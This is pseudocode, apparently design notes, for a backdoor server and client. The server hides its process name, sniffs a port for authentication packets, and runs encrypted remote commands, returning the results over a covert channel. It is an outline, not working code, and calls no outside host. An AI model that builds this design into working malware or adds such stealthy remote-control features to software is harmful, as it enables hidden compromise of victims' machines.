BackdoorServer(process\_name, listen\_port, client\_port, password, aes\_key):

store variables for later use

BackdoorServer.run():

mask\_process()

while true:

listen()

while true:

command = Command.from\_stream(self)

if command:

result = command.exec()

send\_result(result)

else:

Break

BackdoorServer.mask\_process():

change process name to process\_name

BackdoorServer.listen():

while true:

packet = sniff on listen\_port for possible authentication packet

if packet is authentication packet:

send response acknowledging authentication

return client information

BackdoorServer.recv\_command():

read bytes from packets originating from current client

decrypt bytes

command = Command.from\_bytes(decrypted bytes)

return command

BackdoorServer.send\_result(result):

payload = result.to\_bytes()

payload = password + payload

payload = encrypt payload

send(payload)

BackdoorClient(config):

# TODO

BackdoorClient.run():

connect()

while there are commands:

command = next command

send(command.to\_bytes())

result = recv\_result()

# do something with result

# close the connection with the backdoor

command = Command(Command.END)

send(command.to\_bytes())

BackdoorClient.connect():

send authentication packet

BackdoorClient.send(bytes):

encrypted = encrypt(bytes)

send encrypted bytes

BackdoorClient.recv\_result():

covert\_server = CovertServer(config[“cserver”])

covert\_server.listen()

bytes = covert\_server.recv()

result = Command.Result.from\_bytes(bytes)  
 return result